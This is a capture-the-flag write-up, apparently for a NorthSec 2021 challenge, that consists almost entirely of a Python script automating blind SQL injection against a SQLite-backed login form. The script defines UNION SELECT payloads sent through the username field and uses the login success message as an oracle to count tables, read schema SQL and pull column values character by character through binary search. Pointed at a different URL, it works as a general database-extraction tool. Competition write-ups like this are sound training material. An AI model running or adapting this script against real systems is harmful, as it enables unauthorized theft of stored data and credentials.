NorthSec 2021 Writeup - Wizard Hackademy - SpellQueryLanguage

#!/usr/bin/env python3

import sys
import requests
import math

CHALLENGE_URL = "http://chal4.wizard-hackademy.ctf"
MIN_COUNT = 1
MAX_COUNT = 200
ASCII_MIN = 32
ASCII_MAX = 256

TABLE_COUNT_QUESTION = "admin123' UNION SELECT '', '', CASE when COUNT() = VAR_VALUE then '' else 'BAD' END FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY 1 -- -"
TABLE_NAME_LENGTH_QUESTION = "admin123' UNION SELECT '', name, CASE when length(name) = VAR_VALUE then '' else 'BAD' END FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name LIMIT 1 OFFSET VAR_OFFSET -- -"
TABLE_NAME_QUESTION = "admin123' UNION SELECT '', name, CASE when substr(name, VAR_POSITION, 1) <= 'VAR_VALUE' then '' else 'BAD' END FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name LIMIT 1 OFFSET VAR_OFFSET -- -"

TABLE_STRUCTURE_LENGTH_QUESTION = "admin123' UNION SELECT '', '', CASE when length(sql) = VAR_VALUE then '' else 'BAD' END FROM sqlite_master WHERE type = 'table' AND name = 'VAR_TABLE_NAME' -- -"
TABLE_STRUCTURE_QUESTION = "admin123' UNION SELECT '', '', CASE when substr(sql, VAR_POSITION, 1) <= 'VAR_VALUE' then '' else 'BAD' END FROM sqlite_master WHERE type = 'table' AND name = 'VAR_TABLE_NAME' -- -"

ROWS_IN_TABLE_COUNT_QUESTION = "admin123' UNION SELECT '', '', CASE when COUNT() = VAR_VALUE then '' else 'BAD' END FROM VAR_TABLE_NAME -- -"

VALUE_LENGTH_QUESTION = "admin123' UNION SELECT '', VAR_COLUMN_NAME, CASE when length(VAR_COLUMN_NAME) = VAR_VALUE then '' else 'BAD' END FROM VAR_TABLE_NAME ORDER BY VAR_COLUMN_NAME LIMIT 1 OFFSET VAR_OFFSET -- -"
VALUE_QUESTION = "admin123' UNION SELECT '', VAR_COLUMN_NAME, CASE when substr(VAR_COLUMN_NAME, VAR_POSITION, 1) <= 'VAR_VALUE' then '' else 'BAD' END FROM VAR_TABLE_NAME ORDER BY VAR_COLUMN_NAME LIMIT 1 OFFSET VAR_OFFSET -- -"

def main(argv):
    if len(argv) < 2:
        print("Usage: {0} action parameter...".format(argv[0]))
        print("action is one of: ")
        print("     getTablesInDatabase")
        print("     getTableStructure")
        print("     getDataFromTable")

        print("")
        return
    
    action = argv[1]

    if "getTablesInDatabase" == action:
        getTablesInDatabaseAction(argv)
        return


    if "getTableStructure" == action:
        getTableStructureAction(argv)
        return

    if "getDataFromTable" == action:
        getDataFromTableAction(argv)
        return

    raise Exception('Invalid action {0}'.format(action))

# Actions

def getTablesInDatabaseAction(argv):
    return extractTableNames()

def getTableStructureAction(argv):
    if len(argv) != 3:
        print("Usage: {0} getTableStructure tableName".format(argv[0]))
        return

    tableName = argv[2]

    return extractTableStructure(tableName)

def getDataFromTableAction(argv):
    if len(argv) < 4:
        print("Usage: {0} getDataFromTable tableName columnName".format(argv[0]))
        return

    tableName = argv[2]
    columns = [argv[3]]

    extraDataFromTable(tableName, columns)

# Tables Fuctions
def extractTableNames():
    print("Extracting the tables in database\n")

    numberOfTables = getTableCount()
    print("Found {0} tables in the database\n".format(numberOfTables))

    tables = []
    for i in range(0, numberOfTables):
        tableName = getTableNameAtOffset(i)
        tables.append(tableName)
    
    return tables

def getTableCount():
    return countInDatabase(TABLE_COUNT_QUESTION)

def getTableNameAtOffset(offset):
    tableNameLength = getLengthTableNameAtOffset(offset)
    print("The table at offset {0} is {1} caracters long".format(offset, tableNameLength))

    query = replaceVariables(TABLE_NAME_QUESTION, {"VAR_OFFSET": str(offset)})
    tableName = readValueFromDatabase(query, tableNameLength)
    print("Found table:\n{0}\n".format(tableName))

    return tableName


def getLengthTableNameAtOffset(offset):
    query = replaceVariables(TABLE_NAME_LENGTH_QUESTION, {"VAR_OFFSET": str(offset)})
    return countInDatabase(query)

# Columns Functions
def extractTableStructure(tableName):
    print("Extracting the table structure for table {0}\n".format(tableName))

    sqlLength = getLengthOfTableSql(tableName)
    print("The sql for table {0} is {1} chars long\n".format(tableName, sqlLength))

    query = replaceVariables(TABLE_STRUCTURE_QUESTION, {"VAR_TABLE_NAME": tableName})
    tableStructure = readValueFromDatabase(query, sqlLength)
    print(tableStructure)
    return tableStructure

def getLengthOfTableSql(tableName):
    query = replaceVariables(TABLE_STRUCTURE_LENGTH_QUESTION, {"VAR_TABLE_NAME": tableName})
    return countInDatabase(query)


# Table Data Functions
def extraDataFromTable(tableName, columns):
    print("\nGetting the data from {0} {1}".format(tableName, columns))

    numberOfRows = countRowsInTable(tableName)
    print("Found {0} rows in {1}".format(numberOfRows, tableName))

    for offset in range(0, numberOfRows):
        extractRowFromTable(tableName, offset, columns)

def countRowsInTable(tableName):
    queryWithNames = replaceVariables(ROWS_IN_TABLE_COUNT_QUESTION, {'VAR_TABLE_NAME': tableName})
    return countInDatabase(queryWithNames)

def extractRowFromTable(tableName, offset, columns):
    print("Extracting row {0}".format(offset))

    for column in columns:
        extractDataFromColumn(tableName, offset, column)

def extractDataFromColumn(tableName, offset, column):
    valueLength = getLengthOfDataAtOffset(tableName, offset, column)
    print("The value is {0} chars long".format(valueLength))

    query = replaceVariables(VALUE_QUESTION, {'VAR_COLUMN_NAME': column, "VAR_TABLE_NAME": tableName, "VAR_OFFSET": str(offset)})
    value = readValueFromDatabase(query, valueLength)
    print("\nExtracted Value:\n{0}\n\n".format(value))

    return value

def getLengthOfDataAtOffset(tableName, offset, column):
    queryWithNames = replaceVariables(VALUE_LENGTH_QUESTION, {'VAR_COLUMN_NAME': column, 'VAR_TABLE_NAME': tableName, 'VAR_OFFSET': str(offset)})
    return countInDatabase(queryWithNames)

# Helpers
def readValueFromDatabase(query, valueLength):
    name = ""
    for i in range(1, valueLength + 1):
        name += getCharAtPosition(query, i)
        #print(name)

    return name

def getCharAtPosition(getCharQuery, position):
    min = ASCII_MIN
    max = ASCII_MAX

    while True:
        index = math.floor((min + max) / 2)
        #print("Try {0} - {1} - {2}".format(min, index, max))
        #print(chr(index))
        isTrue = isCharAtPositionSmallerOrEqualThen(getCharQuery, position, index)

        if isTrue:
            max = index
        else:
            min = index + 1

        if (min == max):
            return chr(min)
        if (min > max):
            return chr(index)

def isCharAtPositionSmallerOrEqualThen(getCharQuery, position, valueToCheck):
    query = replaceVariables(getCharQuery, {"VAR_VALUE": chr(valueToCheck), "VAR_POSITION": str(position)})
    return isQueryTrue(query)

def countInDatabase(countQuery):
    for i in range(MIN_COUNT, MAX_COUNT):
        query = replaceVariables(countQuery, {"VAR_VALUE": str(i)})
        if (isQueryTrue(query)):
            return i

    raise Exception('Unable to count with the query\n{0}\n'.format(countQuery))

def isQueryTrue(query): 
    #print(query)
    data = {"username": query, "password": "", "login": "login"}
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    response = requests.post(CHALLENGE_URL, data=data, headers=headers)

    return "You have successfully logged in" in response.text

def replaceVariables(query, variables):
    modifiedQuery = query
    for toReplace in variables: 
        modifiedQuery = modifiedQuery.replace(toReplace, variables[toReplace])

    return modifiedQuery


if __name__ == '__main__':
    main(sys.argv)